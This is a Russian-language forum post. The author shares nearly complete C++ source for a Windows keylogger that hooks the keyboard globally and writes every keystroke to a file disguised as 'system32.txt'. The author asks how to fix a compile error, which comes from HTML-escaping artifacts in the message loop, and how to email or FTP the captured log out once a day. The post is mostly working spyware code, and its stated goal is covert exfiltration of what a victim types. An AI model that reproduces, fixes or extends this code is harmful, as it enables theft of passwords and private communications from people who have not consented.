Есть код, копипастнутый с незначительными изменениями, это простейший Keylogger, есть два вопроса один практический другой теоретический.
1) почему MVS при отладке ругается

на данный момент
C++ |
1
| while (GetMessage(&message,NULL,0,0)) |
|
(идентификатор amp не определен)
2) как реализовать отсылку лога, допустим раз в сутки на мыло, и вообще возможно-ли это? Так же интересует этот вопрос по поводу пересылки на FTP.
соответственно вот исходник
C++ |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
| #include < windows.h >
#include < fstream >
#include < iostream >
#include < algorithm >
#include < string >
using namespace std;
string myKey;
BOOL isCaps();
char logName[] = "system32.txt";//LOG FILE name
//init all varibles for speed
MSG message;
HHOOK keyboardHook;
char keyNameBuff[16];
PKBDLLHOOKSTRUCT p;
unsigned int sc;
//кейлоггер для Windows
void writeToLog(string s) //write a string to the log
{
ofstream log(logName, ios::app); //opens log file
log << s; //writes to log.. with format '['']'
log.close(); //closes log
}
// Кейлоггер для Windows
BOOL isCaps()
{
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 ||
((GetKeyState(VK_SHIFT) & 0x8000)!=0))
{
return 1;
} else {
return 0;
}
}
// Кейлоггер для Windows
LRESULT CALLBACK hookProc(int nCode,
WPARAM wParam, LPARAM lParam)//proc to be run on hooked key
{
if (wParam == WM_KEYDOWN)//if key event type is key down
{
//get the keyname from lParam
p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode
sc = MapVirtualKey(p->vkCode, 0);
sc <<= 16; //shift 16 bits
if (!(p->vkCode <= 32))//if not ascii
{
sc |= 0x1 << 24; // <- extended bit
}
GetKeyNameTextA(sc,keyNameBuff,16);
// Кейлоггер для Windows - исходник
//gets ASCII key name from sc into keyNameBuff
//write keyname to log
myKey = keyNameBuff;
if (myKey == "Space") {
writeToLog(" ");
}
else if (myKey == "Right Alt") {
writeToLog("[R ALT]");
}
else if (myKey == "Enter") {
writeToLog("[ENTER]");
}
else if (myKey == "Left Alt") {
writeToLog("[L ALT]");
}
else if (myKey == "Tab") {
writeToLog("[TAB]");
}
else if (myKey == "Backspace") {
writeToLog("[BS]");
}
else if (myKey == "Caps Lock") {
writeToLog("[CAPS]");
}
else if (myKey == "Delete") {
writeToLog("[DEL]");
}
else if (myKey == "Right Shift") {
writeToLog("[R SHIFT]");
}
else if (myKey == "Shift") {
writeToLog("[L SHIFT]");
}
else if (myKey == "Ctrl") {
writeToLog("[L CTRL]");
}
else if (myKey == "Right Ctrl") {
writeToLog("[R CTRL]");
}
// if its none of the special keys
else {
if (isCaps() == 1) {
writeToLog(myKey);
} else {
std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
writeToLog(myKey);
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Кейлоггер для Windows
void msgLoop()
{
while (GetMessage(&message,NULL,0,0))
{
TranslateMessage(&message);
DispatchMessage(&(message);
}
}
// Кейлоггер для Windows
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
hookProc, hInstance, 0); //hooks keyboard
msgLoop(); //stops from closing
// Кейлоггер для Windows - исходник
UnhookWindowsHookEx(keyboardHook); //unhooks
return 0; //Never run
} |
|